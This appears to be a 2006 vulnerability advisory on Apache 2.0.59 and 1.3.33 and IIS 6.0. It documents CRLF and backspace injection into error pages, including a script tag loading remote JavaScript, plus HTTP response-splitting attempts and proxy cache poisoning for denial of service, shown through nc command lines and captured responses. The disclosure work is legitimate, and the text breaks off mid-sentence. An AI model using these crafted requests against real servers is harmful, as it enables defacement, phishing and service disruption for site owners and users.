infohacking.com have you heard about it?

 

 


Apache Fun

.

 

SUMMARY


Apache is the most widely deployed web server in the Internet. Originally based on NCSA web server has grown a lot
and actually is a big project managed by the Apache Software Foundation.
Apache is a wonderful software and a good example of open source software power. Apache can be considered also a
perfect platform to learn about HTTP protocol and even more, to learn about the problematic of implementing the
theory (RFC)into real code. The following advisory, is NOT intended to "hurt" Apache crew, nor the software itself or people trusting in this project. The original idea in wich is based this paper was noticed to Apache crew some months ago. Due to the few "bytes" of feedback I decided to research myself. The Apache web server is prone to several non crítical vulnerabilities -by themselves- that could allow by combining them, and on some specific scenarios, to carry out serious attacks, some of them with that impact: 1) Execution of script code in the client side: 1a)Web "defacements" (E-graffity) 2b)Phishing (authentication forms) 3c)System compromise (script execution on same domain than Admin Panel) 2) Location header injection -cache poisoning-: 2a) Denial of service 2b) Partial URL redirection 4) And the most innovative and interesting thing: almost arbitrary injections in the server HTTP response stream: 4a) "on the fly" fake injection of virus. 4b) In the future, with some additional hack, arbitrary injection of binaries -trojans, etc.- AFFECTED PRODUCTS The vulnerabilities had been detected on Apache 2.0.59 server, Apache 1.3.33. Probably many more Apache versions will be affected. As a "side effect" of this research it has been exposed that other web servers are vulnerable to similar attacks -in the case of Location header injection-. Some of them are: IIS 6.0,
Zeus 3.2, Google Web server, etc... Read the advisory and check yourself. DETAILS I have focused this research in Apache "strange" behaviours. The first thing that I noticed was "strange" came out when sending a request like this: sexy httpd-2.0.59 # echo -e "GET /%cc HTTP/1.0\r\n\r\n" | nc -vv 192.168.1.211 80 I received that 403 response:
192.168.1.211: inverse host lookup failed:
(UNKNOWN) [192.168.1.211] 80 (http) open
HTTP/1.1 403 Forbidden
Date: Sat, 28 Oct 2006 11:10:02 GMT
Server: Apache/2.0.59 (Win32)
Content-Length: 283
Connection: close
Content-Type: text/html; charset=iso-8859-1

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>403 Forbidden</title>
</head><body>
<h1>Forbidden</h1>
<p>You don't have permission to access /Ì
on this server.</p>
<hr>
<address>Apache/2.0.59 (Win32) Server at proxy Port 80</address>
</body></html>
sent 22, rcvd 462

Which has no sense for me. I sent a "%cc" not a carriage return....

Trying the same on the same version of Apache, but other platform (Linux):

sexy httpd-2.0.59 # echo -e "GET /%cc HTTP/1.0\r\n\r\n" | nc -vv 127.0.0.1 8000

Gives me a 404:

localhost [127.0.0.1] 8000 (?) open
HTTP/1.1 404 Not Found
Date: Sat, 28 Oct 2006 11:12:23 GMT
Server: Apache/2.0.59 (Unix)
Content-Length: 273
Connection: close
Content-Type: text/html; charset=iso-8859-1

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>404 Not Found</title>
</head><body>
<h1>Not Found</h1>
<p>The requested URL /Ì was not found on this server.</p>
<hr>
<address>Apache/2.0.59 (Unix) Server at 172.26.0.5 Port 80</address>
</body></html>
sent 22, rcvd 451

Ummm.... sometring strange was happening here...

So I decided to give a look at the source code.

The source of the *nix version is:

-------- http_protocol.c -----------

(...)

" case HTTP_BAD_REQUEST:
return(add_optional_notes(r,
"<p>Your browser sent a request that "
"this server could not understand.<br />\n",
"error-notes",
"</p>\n"));
case HTTP_FORBIDDEN:
return(apr_pstrcat(p,
"<p>You don't have permission to access ",
ap_escape_html(r->pool, r->uri),
"\non this server.</p>\n",
NULL));
case HTTP_NOT_FOUND:
return(apr_pstrcat(p,
"<p>The requested URL ",
ap_escape_html(r->pool, r->uri),
" was not found on this server.</p>\n",
NULL));

(...)

------------------------------------------

While the source for Windows is:

----- http_protocol.c -------------------

case HTTP_BAD_REQUEST:
return(add_optional_notes(r,
"<p>Your browser sent a request that "
"this server could not understand.<br />\n",
"error-notes",
"</p>\n"));
case HTTP_FORBIDDEN:
return(apr_pstrcat(p,
"<p>You don't have permission to access ",
ap_escape_html(r->pool, r->uri),
"\non this server.</p>\n",
NULL));
case HTTP_NOT_FOUND:
return(apr_pstrcat(p,
"<p>The requested URL ",
ap_escape_html(r->pool, r->uri),
" was not found on this server.</p>\n",
NULL));

-------------------------------------------------

 

Ok. It seems that there's a carriage return here:

"\non this server.</p>\n",

Why? Who matters... the important thing is that two requests give different responses on different platforms...

That sounds to me very suspicious, and can be a careless coding... So let's give a try to some injection.

Let's inject <CR><LF> (Carriage Return and Line Feed):


sexy httpd-2.0.59 # echo -e "GET /nonexistdir%0d%0aHELLO%0d%0a HTTP/1.0\r\n\r\n" | nc -vv 127.0.0.1 8000
localhost [127.0.0.1] 8000 (?) open
HTTP/1.1 404 Not Found
Date: Sat, 28 Oct 2006 11:40:07 GMT
Server: Apache/2.0.59 (Unix)
Content-Length: 292
Connection: close
Content-Type: text/html; charset=iso-8859-1

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>404 Not Found</title>
</head><body>
<h1>Not Found</h1>
<p>The requested URL /nonexistdir
HELLO
was not found on this server.</p>
<hr>
<address>Apache/2.0.59 (Unix) Server at 172.26.0.5 Port 80</address>
</body></html>

Ops. This behaviour is not sane..., even if this is not a "genuine security issue"...

A man said: "The mere formulation of a problem is far more essential than its solution, which may be merely a matter of mathematical
or experimental skills. To raise new questions, new possibilities, to regard old problems from a new angle requires creative imagination
and marks real advances in science.
"

Wich seems to me a smart point of view. But there's a lot of people not sharing this opinion...

So,.... let's try to exploit a "non genuine security issue".

So what comes to my mind is, that if you are not taking care of filtering <CR><LF>, are you going to filter all other kind of characters...? Probably not.

Ok. Apache seems to filter some chars, to avoid script injection....nice and safe approach.

Let's have a look:

sexy httpd-2.0.59 # echo -e "GET /<%20>%20\"%20 HTTP/1.0\r\n\r\n" | nc -vv 127.0.0.1 8000
localhost [127.0.0.1] 8000 (?) open
HTTP/1.1 404 Not Found
Date: Sat, 28 Oct 2006 12:17:27 GMT
Server: Apache/2.0.59 (Unix)
Content-Length: 289
Connection: close
Content-Type: text/html; charset=iso-8859-1

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>404 Not Found</title>
</head><body>
<h1>Not Found</h1>
<p>The requested URL /&lt; &gt; &quot; was not found on this server.</p>
<hr>
<address>Apache/2.0.59 (Unix) Server at 172.26.0.5 Port 80</address>
</body></html>

After some brainstorming, I realize that I was in a close-minded approach... I'm trying to "inject" a TAG. That is a too mutch well known technique so maybe
it's time to be more creative...

... maybe we should try not to inject an HTML tag, "they" know you are going to try this, so simply, take another way. Instead would be interesting
to use an existing tag...Ummm....OK, but how can we do it?

Injecting backspaces! Is this going to work? Oh, shit, I don't think so, but would be very, very nice.

So I typed at the promt of my laptop something like this:

sexy httpd-2.0.59 # echo -e "GET /d%08%08%08%08%08%08%08%08%08%08%08" | nc -vv 127.0.0.1 8000
localhost [127.0.0.1] 8000 (?) open
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>404 Not Found</title>
</head><body>
<h1>Not Found</h1>
<p>The reque was not found on this server.</p>
<hr>
<address>Apache/2.0.59 (Unix) Server at 172.26.0.5 Port 80</address>
</body></html>
sent 40, rcvd 284

He, he...It seems that we can "delete" the error message. Of course my first attempt was trying to delete all the message to rebuild my own, unfortunately,

the message is built in different blocks...but anyway looks, at least, an original attack vector.

So I keep on thinking with a smile in my face.

Next day in the morning, I needed something to encourage myself. Ray Charles "Baby what'd I say" seems a good choice. I like weekends.

After playing with Apache I noticed that my prompt was doing somethig strange when injecting back space... So I decided to capture with ethereal:

 

0000 00 00 00 00 00 00 00 00 00 00 00 00 08 00 45 00 ..............E.
0010 02 47 72 d0 40 00 40 06 c7 de 7f 00 00 01 7f 00 .Gr.@.@.........
0020 00 01 00 50 d7 f6 83 b5 95 cf 83 ad 4d 89 80 18 ...P........M...
0030 20 00 00 3c 00 00 01 01 08 0a 28 7f e7 06 28 7f ..<......(...(.
0040 e7 05 48 54 54 50 2f 31 2e 31 20 34 30 34 20 4e ..HTTP/1.1 404 N
0050 6f 74 20 46 6f 75 6e 64 0d 0a 44 61 74 65 3a 20 ot Found..Date:
0060 53 61 74 2c 20 32 38 20 4f 63 74 20 32 30 30 36 Sat, 28 Oct 2006
0070 20 31 35 3a 32 36 3a 33 39 20 47 4d 54 0d 0a 53 15:26:39 GMT..S
0080 65 72 76 65 72 3a 20 41 70 61 63 68 65 2f 32 2e erver: Apache/2.
0090 30 2e 35 39 20 28 55 6e 69 78 29 0d 0a 43 6f 6e 0.59 (Unix)..Con
00a0 74 65 6e 74 2d 4c 65 6e 67 74 68 3a 20 33 35 33 tent-Length: 353
00b0 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c ..Connection: cl
00c0 6f 73 65 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 ose..Content-Typ
00d0 65 3a 20 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 e: text/html; ch
00e0 61 72 73 65 74 3d 69 73 6f 2d 38 38 35 39 2d 31 arset=iso-8859-1
00f0 0d 0a 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 ....<!DOCTYPE HT
0100 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 ML PUBLIC "-//IE
0110 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 TF//DTD HTML 2.0
0120 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 //EN">.<html><he
0130 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e ad>.<title>404 N
0140 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e ot Found</title>
0150 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c .</head><body>.<
0160 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 h1>Not Found</h1
0170 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 >.<p>The request
0180 65 64 20 55 52 4c 20 2f 64 08 08 08 08 08 08 08 ed URL /d.......
0190 08 08 08 08 08 08 08 08 08 08 08 08 08 08 08 53 ...............S
01a0 43 52 49 50 54 20 4c 61 6e 67 75 61 67 65 3d 4a CRIPT Language=J
01b0 61 76 61 73 63 72 69 70 74 20 53 52 43 3d 68 74 avascript SRC=ht
01c0 74 70 3a 2f 2f 31 32 37 2e 30 2e 30 2e 31 3a 38 tp://127.0.0.1:8

01d0 31 2f 65 2e 6a 73 3b 0d 0a 20 77 61 73 20 6e 6f 1/e.js;.. was no
01e0 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 t found on this
01f0 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 68 72 3e server.</p>.<hr>
0200 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 .<address>Apache
0210 2f 32 2e 30 2e 35 39 20 28 55 6e 69 78 29 20 53 /2.0.59 (Unix) S
0220 65 72 76 65 72 20 61 74 20 31 37 32 2e 32 36 2e erver at 172.26.
0230 30 2e 35 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 0.5 Port 80</add
0240 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 ress>.</body></h
0250 74 6d 6c 3e 0a tml>.

Then I understood. Apache response includes the original error text: "The requested URL /" but after that string we have backspaces.

What seems to happen is that the client side -my shell- it's backspacing and then writing over the original message. So the behaviour of this flaw

will depend on the client side. As example:

Internet Explorer:

 

Opera:

 

And Firefox:

 

 

Which seems to be the only one escaping the control codes (aleluya!)

So if we backspace until the beginning of the HTML tag, we can "use" it for our own profit? Let's do it.

We build a request like this:

GET /d%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08SCRIPT%20Language=

Javascript%20SRC=http://127.0.0.1:81/e.js;%0d%0a HTTP1/1

sexy httpd-2.0.59 # cat peticion_backspace.txt | nc -vv 127.0.0.1 8000
localhost [127.0.0.1] 8000 (?) open
HTTP/1.1 404 Not Found
Date: Sat, 28 Oct 2006 12:30:52 GMT
Server: Apache/2.0.59 (Unix)
Content-Length: 353
Connection: close
Content-Type: text/html; charset=iso-8859-1

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>404 Not Found</title>
</head><body>
<h1>Not Found</h1>
<SCRIPT Language=Javascript SRC=http://127.0.0.1:81/e.js;
was not found on this server.</p>
<hr>
<address>Apache/2.0.59 (Unix) Server at 172.26.0.5 Port 80</address>
</body></html>

Oh yeah! That is a freaky injection! :-)

So it's clear that it depends on the client side. I have not been able to make it work on IE, Firefox, and Opera, but hey, control codes are being echoed,

wich is not a safe approach!!! There could be out there http clients, or proxies vulnerable to this, in the same way we have observed in the shell.

 

Let's go a steap ahead and let's present some possible and dangerous scenarios due to control codes injection.

What about HTTP splitting... ??? At first glance, it seems that is not possible. The injection is "clearly in the body" of the HTTP message, so the injection
is "covered" by the "Content-Length" server header. Shit, shit, shit! That's true.

Do we stop hear? No. It's time to get inspired, so time to switch music to something more relaxing, maybe a Mozart Aria.

 

If we can't control the "Content-Length" header in the server response, it seems that is not possible to carry out an http splitting attack.

I'm telling "it seems" because I'm not the owner of the absolute true...just a relative true, strictly, a point of view, nothing else.

So let's talk about what could be done, and what are the possible attack vectors.

So if you can't manage to have a "Content-Length" header that covers the injection, you can't split the response, isn't it? OK. Let's eliminate the
server headers.

A request whithout specifying the HTTP versión, will return a stream without server headers, nor "Content-Length"....

sexy httpd-2.0.59 # echo "GET /" | nc -vv 127.0.0.1 8000
localhost [127.0.0.1] 8000 (?) open
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>403 Forbidden</title>
</head><body>
<h1>Forbidden</h1>
<p>You don't have permission to access /
on this server.</p>
<hr>
<address>Apache/2.0.59 (Unix) Server at 172.26.0.5 Port 80</address>
</body></html>
sent 6, rcvd 276

Ok so we can make a request like this:

GET /%0d%0aHTTP/1.1%20200%20OK%0d%0aContent-Type:%20text/html

%0d%0aContent-Length:%2017%0d%0a%0d%0aPENTEST%0d%0a

That gives the next response:

sexy httpd-2.0.59 # cat peticion.txt | nc -vv 127.0.0.1 8000
localhost [127.0.0.1] 8000 (?) open
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>404 Not Found</title>
</head><body>
<h1>Not Found</h1>
<p>The requested URL /
HTTP/1.1 200 OK
Content-Type: text/html
Content-Length: 17

PENTEST
was not found on this server.</p>
<hr>
<address>Apache/2.0.59 (Unix) Server at 172.26.0.5 Port 80</address>
</body></html>

So now we have a response stream really dangerous, but not "letal". What is body? What are headers? You got absolute true? It depends.

In an ideal world, that is, everyone following RFC's, and RFC's having safer recomendations than actually have, this response stream should not be

a problem. In a real world, I think It could be. We can't control, non fully HTTPcompliant proxies or web browsers... So I think it's safer not being

ambiguous.

As you can see, we have some non valid headers, but after that we can completely rebuild any HTTP stream we want controlling completely headers and
body. The fact is:

1) that if we can inject <CR> <LF>

2) we can avoid the server responding valid http headers

We have a chance that some proxy can work with a response like this... OK, at this point we can think about "pipelining"... Yes... nobody tell us it would be

an easy hack... And what on the hell is "pipelining"?

http://www.w3.org/Protocols/rfc2616/rfc2616-sec8.html

"8.1.2.2 Pipelining

A client that supports persistent connections MAY "pipeline" its requests (i.e., send multiple requests without waiting for each response).

A server MUST send its responses to those requests in the same order that the requests were received."

So we are in front of the "Saint Grial" of the HTTP Splitting.

Sending a request without specifying the HTTP version could be interpreted as an older HTTP client, thus having the proxy not allowing pipelining.

So third party non-RFC-compliant software is not a problem of Apache, so they do not must care about it...

But if we look in the source code of Apache, we would realize that this is not as simple...and we will realize that even Apache is aware of non HTTP
compliant third party software, as you can read in the "mod_proxy" code:

/*
* Read header lines until we get the empty separator line, a read error,
* the connection closes (EOF), or we timeout.
*/
while ((len = ap_getline(buffer, size, rr, 1)) > 0) {

if (!(value = strchr(buffer, ':'))) { /* Find the colon separator */

/* We may encounter invalid headers, usually from buggy
* MS IIS servers, so we need to determine just how to handle
* them. We can either ignore them, assume that they mark the
* start-of-body (eg: a missing CRLF) or (the default) mark
* the headers as totally bogus and return a 500. The sole
* exception is an extra "HTTP/1.0 200, OK" line sprinkled
* in between the usual MIME headers, which is a favorite
* IIS bug.

*/
/* XXX: The mask check is buggy if we ever see an HTTP/1.10 */

if (!apr_date_checkmask(buffer, "HTTP/#.# ###*")) {
if (psc->badopt == bad_error) {
/* Nope, it wasn't even an extra HTTP header. Give up. */
return NULL;
}
else if (psc->badopt == bad_body) {
/* if we've already started loading headers_out, then
* return what we've accumulated so far, in the hopes
* that they are useful. Otherwise, we completely bail.
*/
/* FIXME: We've already scarfed the supposed 1st line of
* the body, so the actual content may end up being bogus
* as well. If the content is HTML, we may be lucky.
*/
if (saw_headers) {
ap_log_error(APLOG_MARK, APLOG_WARNING, 0, r->server,
"proxy: Starting body due to bogus non-header in headers "
"returned by %s (%s)", r->uri, r->method);
return headers_out;
} else {
ap_log_error(APLOG_MARK, APLOG_WARNING, 0, r->server,
"proxy: No HTTP headers "
"returned by %s (%s)", r->uri, r->method);
return NULL;
}
}
}
/* this is the psc->badopt == bad_ignore case */
ap_log_error(APLOG_MARK, APLOG_WARNING, 0, r->server,
"proxy: Ignoring bogus HTTP header "
"returned by %s (%s)", r->uri, r->method);
continue;
}

That sounds good, maybe it can be helpful in some more advanced stage.

What seems interesting to me is the fact that even Apache is aware of non compliant HTTP software out there, so the argue of HTTP lower versions not

supporting pipelining loses power... I think that allowing <CR><LF>, or other control codes EVEN in the "BODY" is dangerous, because

you can't predict third party soft behaviour.

I decided to make a research on Apache web server and Apache mod_proxy to have a more wide point of view of the problematic.

I prepared a lab with an Apache proxy and an Apache Web server. Just in case I found it vulnerable, Apache Team could

not evade the problem. If the web server and the proxy are both from Apache, then it would be very difficult to negate that evidence of a vulnerability.

Attacker ------> Apache 2.0.59 on Windows (mod_proxy) ----------> Apache 1.3.33/2.0.59 on Linux

After reading some of the code of both Apache web server and Apache mod_proxy I managed to figure out suitable ways of fooling Apache.

HTTP protocol routines are plenty of "assumptions" I do not understand. Many things are checked in two or three different places (different modules),

thus making difficult to me to follow the logical flow.

Apache seems to try to follow RFC's, but also being compatible with buggy browsers... wich seems contradictory to me. Please, I'm not blaming

about the Apache code, I'm not a coder. I deeply respect the work of Apache developers, and assume I will probably could never not do such a hard job.

I'm only expressing my ignorance on some decisions at the code level in the Apache logic flow control.

My first approach was trying to exploit a response like this one

 

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>404 Not Found</title>
</head><body>
<h1>Not Found</h1>
<p>The requested URL /
HTTP/1.1 200 OK
Content-Type: text/html
Content-Length: 17

PENTEST
was not found on this server.</p>
<hr>
<address>Apache/2.0.59 (Unix) Server at 172.26.0.5 Port 80</address>
</body></html>

and having Apache proxy or even a browser believing that this was a 200 OK response. No luck on this. Browsers render this as HTML,

and Apache proxy do no accept invalid headers.

Umm, I think there's no way out. We can avoid the "Content-Length" header, but we can't build a compliant HTTP response. No way out, or at least,

I'm not able. After playing a lot with mod_proxy, I decided to switch the end web server to Apache 1.3.33 (until now we were testing with 2.0.59).

I was tired so I 've got no motivation to look at the 1.3.33 source code... so I begun to blind test it.

TRACE / HTTP/1.1
Host: sdf
Connection: keep-alive
caca: aa<CR><LF><CR><LF>HTTP/1.1%20200OK:<CR><LF>Content-Type: text/plain<CR><LF><CR><LF>

And the response was:

HTTP/1.1 200 OK^M
Date: Mon, 30 Oct 2006 10:15:19 GMT^M
Server: Apache/1.3.33 (Unix) (Gentoo/Linux)^M
Content-Type: message/http^M
Transfer-Encoding: chunked^M
^M
9d^M
TRACE / HTTP/1.1^M
caca: aa^M
Host: 192.168.1.4^M
Max-Forwards: 10^M
X-Forwarded-For: 192.168.1.4^M
X-Forwarded-Host: sdf^M
X-Forwarded-Server: proxy^M
^M
^M
0^M
^M
HTTP/1.1 400 Bad Request^M
Date: Mon, 30 Oct 2006 10:15:19 GMT^M
Server: Apache/2.0.59 (Win32)^M
Content-Length: 306^M
Connection: close^M
Content-Type: text/html; charset=iso-8859-1^M
^M
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>400 Bad Request</title>
</head><body>
<h1>Bad Request</h1>
<p>Your browser sent a request that this server could not understand.<br />
</p>
<hr>
<address>Apache/2.0.59 (Win32) Server at proxy Port 80</address>
</body></html>

 

Interesting is to see the two responses. The first one from the proxy and the second one from the end web server.

That's OK, because that proxy has received bad request (the second one), after "<CR><LF><CR><LF>", and it does not "understand" the

HTTP/1.1%20200OK:<CR><LF>Content-Type: text/plain<CR><LF><CR><LF> as a valid HTTP request. Just working fine... :-(

 

Now we manually modify the content of "index.html" of the target web server (Apache 1.3.33)

and make a request like this:

 

sexy ~ # cat peticion3
#!/bin/bash
echo -e "GET / HTTP/1.1\r\nHost: 192.168.1.211\r\nPragma: no-cache\r\n\r\nGET / HTTP/1.

0\r\nHost: 192.168.1.211\r\nMax-Forwards: -1\r\nConnection: close\r\n\r\n"

Gives:

sexy ~ # ./peticion3 |nc -vv 192.168.1.211 80
192.168.1.211: inverse host lookup failed:
(UNKNOWN) [192.168.1.211] 80 (http) open
HTTP/1.1 200 OK
Date: Mon, 30 Oct 2006 17:46:09 GMT
Server: Apache/1.3.33 (Unix) (Gentoo/Linux)
Last-Modified: Mon, 30 Oct 2006 17:01:35 GMT
ETag: "14c17a-1b-45462fef"
Accept-Ranges: bytes
Content-Length: 27
Content-Type: text/html

<html>HOLACAMBIADO
</html>
HTTP/1.1 200 OK
Date: Mon, 30 Oct 2006 17:46:09 GMT
Server: Apache/2.0.59 (Win32)
Content-Type: text/html
Last-Modified: Fri, 22 Sep 2006 00:30:53 GMT
ETag: "14c17a-13-45132ebd"
Accept-Ranges: bytes
Content-Length: 19
Age: 9591
Connection: close
X-Pad: avoid browser bug

<html>HOLA
</html>
sent 116, rcvd 573

The first one has been done with the "Pragma: no-cache" header set. As we can see, poisoning Apache mod_cache (mod_proxy) is really dangerous.

So web browsers that do not send this headers will see the poisoned web page, until Apache refresh it's cache.

So we now know that if we could succeed on poisoning the cache of the Apache proxy (mod_cache), it would be easy to keep the poisoning effect by

simply leave a script making requests from time to time. Let's explain it. What I wanted to check is that if we could modify the response

HTTP stream of the end web server, we probably can poison the proxy. I'm sure that at this point some one is blaming at me... Please, be patient...

I'm not an "HTTP pedant" nor an HTTP expert, so I'm just exploring behaviours, reading RFC's... It's nice, like first time you have sex,... you don't want to

listen about "what is going to be expected", you just want to leave your imagination fly away. It sounds like if I was having sex with Apache Software...
too mutch freak for my latin mind! Aggggh!

So I'm going to look at the end server side to see if there is some strange behaviour we can exploit to poison the Apache cache server.

I remember that some months ago, in a computer party were I went as a young talent hunter, I could realize that making a

request to an Apache web server resource with a configured redirection (301, 302 HTTP codes), showed some "strange" behaviour. In some Apache web
servers I could "modify" the "Location" server response header "injecting" in the Host header of the client request... Who! Why this "feature"?.
My first approach was thinking about cache poisoning, but then I thougth: "It doesn't seem I could take profit of it, just because the cache server will
always look at the Host header too, so there's no sense on poisoning it with a fake Host header because a good http client will make the request with
the right Host header..."

Anyway if it really did not seem to be dangerous -per se- I was sure that was not a "sane" behaviour. Why allowing host headers of servers we do not
want to cache???

Now, some months after that I realize that Apache has a configuration directive called "UseCanonicalName" directive wich is the responsable of that behaviour. By default this directive is set to Off.

And that's what we found at the httpd.conf:

#
# UseCanonicalName: Determines how Apache constructs self-referencing
# URLs and the SERVER_NAME and SERVER_PORT variables.
# When set "Off", Apache will use the Hostname and Port supplied
# by the client. When set "On", Apache will use the value of the
# ServerName directive.
#
UseCanonicalName Off

If Apache team has created it, there must be a reason. I can only think on virtual servers or reverse proxy scenarios... On a single domain host, I can't
understand why we should set it to "Off". Ok. Allowing the client side to "control" part of the HTTP response has been proved many, many times that
could be really dangerous. Cross Site Scriptting problems were probably one of the first infamous examples. HTTP splitting has been the last technique
exploiting such dangerous condition.

At this point I prepare a testing lab to exploit this.

In our lab scenario, we have:

client --------> Apache 2.0.59 Win32 (mod_proxy, mod_cache) -----------> Apache Linux 2.0.59

To exploit the redirection we will use a redirection present in any default Apache installation: the "/manual". From the httpd.conf:

#
# This should be changed to the ServerRoot/manual/. The alias provides
# the manual, even if you choose to move your DocumentRoot. You may comment
# this out if you do not care for the documentation.
#
AliasMatch ^/manual(?:/(?:de|en|es|fr|ja|ko|ru))?(/.*)?$ "/usr/local/Apache2/manual$1"

(...)

 

So if we make a request like this:

GET /manual HTTP/1.0

We get:

HTTP/1.1 301 Moved Permanently^M
Date: Fri, 03 Nov 2006 12:12:05 GMT^M
Server: Apache/2.0.59 (Unix)^M
Location: http://www.test.com/manual/^M
Content-Length: 311^M
Connection: close^M
Content-Type: text/html; charset=iso-8859-1^M
^M
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>301 Moved Permanently</title>
</head><body>
<h1>Moved Permanently</h1>
<p>The document has moved <a href="http://www.test.com/manual/">here</a>.</p>
<hr>
<address>Apache/2.0.59 (Unix) Server at www.test.com Port 80</address>
</body></html>

Now we make a resuest like this:

GET /manual HTTP/1.0
Host: fakesite

And we get:

HTTP/1.1 301 Moved Permanently^M
Date: Fri, 03 Nov 2006 12:14:49 GMT^M
Server: Apache/2.0.59 (Unix)^M
Location: http://fakesite/manual/^M
Content-Length: 303^M
Connection: close^M
Content-Type: text/html; charset=iso-8859-1^M
^M
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>301 Moved Permanently</title>
</head><body>
<h1>Moved Permanently</h1>
<p>The document has moved <a href="http://fakesite/manual/">here</a>.</p>
<hr>
<address>Apache/2.0.59 (Unix) Server at fakesite Port 80</address>
</body></html>

Now let's do it through the mod_proxy, mod_cache Apache server:

1st time:

Request:

GET /manual HTTP/1.0

Response:

HTTP/1.1 301 Moved Permanently^M
Date: Fri, 03 Nov 2006 12:17:16 GMT^M
Server: Apache/2.0.59 (Unix)^M
Location: http://proxy/manual/^M
Content-Length: 309^M
Content-Type: text/html; charset=iso-8859-1^M
Connection: close^M
^M
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>301 Moved Permanently</title>
</head><body>
<h1>Moved Permanently</h1>
<p>The document has moved <a href="http://192.168.1.4/manual/">here</a>.</p>
<hr>
<address>Apache/2.0.59 (Unix) Server at 192.168.1.4 Port 80</address>
</body></html>

2nd time:

Request:HTTP/1.1 301 Moved Permanently^M
Date: Fri, 03 Nov 2006 12:18:45 GMT^M
Server: Apache/2.0.59 (Win32)^M
Content-Type: text/html; charset=iso-8859-1^M
Location: http://proxy/manual/^M
Content-Length: 309^M
Age: 121^M
Connection: close^M
^M
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>301 Moved Permanently</title>
</head><body>
<h1>Moved Permanently</h1>
<p>The document has moved <a href="http://192.168.1.4/manual/">here</a>.</p>
<hr>
<address>Apache/2.0.59 (Unix) Server at 192.168.1.4 Port 80</address>
</body></html>

We can see in the 2nd request that is the cache server that is answering us.

But what will happen if we make a first request like this one:

1st time:

GET /manual HTTP/1.0\r\nHost: proxy:81\r\n\r\n

Response:

HTTP/1.1 301 Moved Permanently^M
Date: Fri, 03 Nov 2006 12:25:02 GMT^M
Server: Apache/2.0.59 (Unix)^M
Location: http://proxy:81/manual/^M
Content-Length: 309^M
Content-Type: text/html; charset=iso-8859-1^M
Connection: close^M
^M
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>301 Moved Permanently</title>
</head><body>
<h1>Moved Permanently</h1>
<p>The document has moved <a href="http://192.168.1.4/manual/">here</a>.</p>
<hr>
<address>Apache/2.0.59 (Unix) Server at 192.168.1.4 Port 80</address>
</body></html>

2nd time:

Request:

GET /manual HTTP/1.0\r\nHost: proxy\r\n\r\n

Response:

HTTP/1.1 301 Moved Permanently^M
Date: Fri, 03 Nov 2006 12:27:30 GMT^M
Server: Apache/2.0.59 (Win32)^M
Content-Type: text/html; charset=iso-8859-1^M
Location: http://proxy:81/manual/^M
Content-Length: 309^M
Age: 181^M
Connection: close^M
^M
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>301 Moved Permanently</title>
</head><body>
<h1>Moved Permanently</h1>
<p>The document has moved <a href="http://192.168.1.4/manual/">here</a>.</p>
<hr>
<address>Apache/2.0.59 (Unix) Server at 192.168.1.4 Port 80</address>
</body></html>

Now if we try to go to http://proxy/manual we will be redirected to a non existant resource:

 

That's a nice D.o.S. Users will be redirected and always redirected. That's a stupid example, but imagine an httpd.conf wich is redirecting

and entire directory via a 301 Redirect directive... Whoooo! :-((( Big D.o.S.

The reason of this behaviour of the "mod_cache" that do no take care of ports, is unknown for me. I have configured my Apache mod_cache with
a sample config file taken from the "http://httpd.Apache.org/docs/2.0/mod/mod_cache.html".

"Good" news are this is also possible with other web servers. For example, having IIS 6.0 configured like this:


Will leave IIS server vulnerable.Thus a request like this:

GET /iisstart.htm HTTP/1.0
Host: fakesite

Has a response like this:

HTTP/1.1 301 Moved Permanently^M
Content-Length: 153^M
Content-Type: text/html^M
Location: http://fakesite/localdirectory^M
Server: Microsoft-IIS/6.0^M
X-Powered-By: ASP.NET^M
Date: Fri, 03 Nov 2006 13:03:38 GMT^M
Connection: close^M
^M
<head><title>Document Moved</title></head>
<body><h1>Object Moved</h1>This document may be found <a HREF="http://fakesite/localdirectory">here</a></body>

Of course this should work only if you have the "Host" header not configured in the "Advanced Web Site Identification":

 

